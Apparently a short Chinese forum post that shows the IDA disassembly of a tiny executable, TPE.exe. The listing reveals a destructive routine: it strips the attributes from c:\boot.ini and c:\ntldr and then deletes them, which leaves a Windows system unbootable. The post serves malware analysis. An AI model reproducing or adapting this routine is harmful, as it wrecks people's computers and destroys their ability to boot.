用ida载入就知道了....貌似直接写的汇编
.res:00401000 ; ? Copyright (c) 2006 by DataRescue sa/nv, <ida@datarescue.com> ?
.res:00401000 ; ?Licensed to: Paul Ashton - Blue Lane Technologies (1-user Advanced 03/2006) ?s
.res:00401000 ; 韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?
.res:00401000 ;
.res:00401000 ; Input MD5 : 78A6BFC929916B123FE865DA4424BA7E
.res:00401000
.res:00401000 ; File Name : I:\systeminfo\pingce\新建文件夹\TPE.exe
.res:00401000 ; Format : Portable executable for 80386 (PE)
.res:00401000 ; Imagebase : 400000
.res:00401000 ; Section 1. (virtual address 00001000)
.res:00401000 ; Virtual size : 00005000 ( 20480.)
.res:00401000 ; Section size in file : 00000000 ( 0.)
.res:00401000 ; Offset to raw data for section: 00000400
.res:00401000 ; Flags E0000080: Bss Executable Readable Writable
.res:00401000 ; Alignment : default
.res:00401000
.res:00401000 .686p
.res:00401000 .mmx
.res:00401000 .model flat
.res:00401000
.res:00401000 ; 屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?
.res:00401000
.res:00401000 ; Segment type: Pure code
.res:00401000 ; Segment permissions: Read/Write/Execute
.res:00401000 _res segment para public 'CODE' use32
.res:00401000 assume cs:_res
.res:00401000 ;org 401000h
.res:00401000 assume es:nothing, ss:nothing, ds:_res, fs:nothing, gs:nothing
.res:00401000 dd 1400h dup(?)
.res:00401000 _res ends
.res:00401000
.main:00406000 ; ---------------------------------------------------------------------------
.main:00406000 ; Section 2. (virtual address 00006000)
.main:00406000 ; Virtual size : 00001000 ( 4096.)
.main:00406000 ; Section size in file : 00000964 ( 2404.)
.main:00406000 ; Offset to raw data for section: 00000200
.main:00406000 ; Flags E0000040: Data Executable Readable Writable
.main:00406000 ; Alignment : default
.main:00406000 ; 屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?
.main:00406000
.main:00406000 ; Segment type: Pure code
.main:00406000 ; Segment permissions: Read/Write/Execute
.main:00406000 _main segment para public 'CODE' use32
.main:00406000 assume cs:_main
.main:00406000 ;org 406000h
.main:00406000 assume es:nothing, ss:nothing, ds:_res, fs:nothing, gs:nothing
.main:00406000
.main:00406000 public start
.main:00406000 start:
.main:00406000 push offset loc_406026
.main:00406005 call ds:LoadLibraryA
.main:0040600B push offset s_Deletefilea ; "DeleteFileA"
.main:00406010 push eax
.main:00406011 call ds:GetProcAddress
.main:00406017 mov ds:dword_406066, eax
.main:0040601C jmp short loc_40606A
.main:0040601C
.main:0040601E ; ---------------------------------------------------------------------------
.main:0040601E
.main:0040601E loc_40601E: ; CODE XREF: .main:004060BCj
.main:0040601E push 0
.main:00406020 call ds:ExitProcess
.main:00406020
.main:00406026
.main:00406026 loc_406026: ; DATA XREF: .main:starto
.main:00406026 ; .main:loc_40606Ao
.main:00406026 imul esp, [ebp+72h], 6Eh
.main:0040602A db 65h
.main:0040602A insb
.main:0040602C xor esi, [edx]
.main:0040602E db 2Eh, 64h
.main:0040602E insb
.main:00406031 insb
.main:00406031
.main:00406031 ; ---------------------------------------------------------------------------
.main:00406032 db 0
.main:00406033 s_Deletefilea db 'DeleteFileA',0 ; DATA XREF: .main:0040600Bo
.main:0040603F s_CBoot_ini db 'c:\boot.ini',0 ; DATA XREF: .main:0040608Bo
.main:0040603F ; .main:00406096o
.main:0040604B s_CNtldr db 'c:\ntldr',0 ; DATA XREF: .main:004060A6o
.main:0040604B ; .main:004060B1o
.main:00406054 dd 4 dup(0)
.main:00406064 db 2 dup(0)
.main:00406066*dword_406066 dd 0 ; DATA XREF: .main:00406017w
.main:00406066* ; .main:0040609Br
.main:00406066* ; .main:004060B6r
.main:0040606A ; ---------------------------------------------------------------------------
.main:0040606A
.main:0040606A loc_40606A: ; CODE XREF: .main:0040601Cj
.main:0040606A push offset loc_406026
.main:0040606F call ds:LoadLibraryA
.main:00406075 push offset s_Setfileattrib ; "SetFileAttributesA"
.main:0040607A push eax
.main:0040607B call ds:GetProcAddress
.main:00406081 mov ds:dword_4060C1, eax
.main:00406086 push 80h
.main:0040608B push offset s_CBoot_ini ; "c:\\boot.ini"
.main:00406090 call ds:dword_4060C1
.main:00406096 push offset s_CBoot_ini ; "c:\\boot.ini"
.main:0040609B call ds:dword_406066
.main:004060A1 push 80h
.main:004060A6 push offset s_CNtldr ; "c:\\ntldr"
.main:004060AB call ds:dword_4060C1
.main:004060B1 push offset s_CNtldr ; "c:\\ntldr"
.main:004060B6 call ds:dword_406066
.main:004060BC jmp loc_40601E
.main:004060BC
.main:004060BC ; ---------------------------------------------------------------------------
.main:004060C1*dword_4060C1 dd 0 ; DATA XREF: .main:00406081w
.main:004060C1* ; .main:00406090r
.main:004060C1* ; .main:004060ABr
.main:004060C5 s_Setfileattrib db 'SetFileAttributesA',0 ; DATA XREF: .main:00406075o
.main:004060D8 dd 12Ch dup(0)
.main:00406588 s_DWindowsNotep db 'D:\windows\notepad.exe',0
.main:0040659F align 10h
.main:004065A0 dd 0F1h dup(0)
.main:00406964 dd 1A7h dup(?)
.main:00406964 _main ends
.main:00406964 |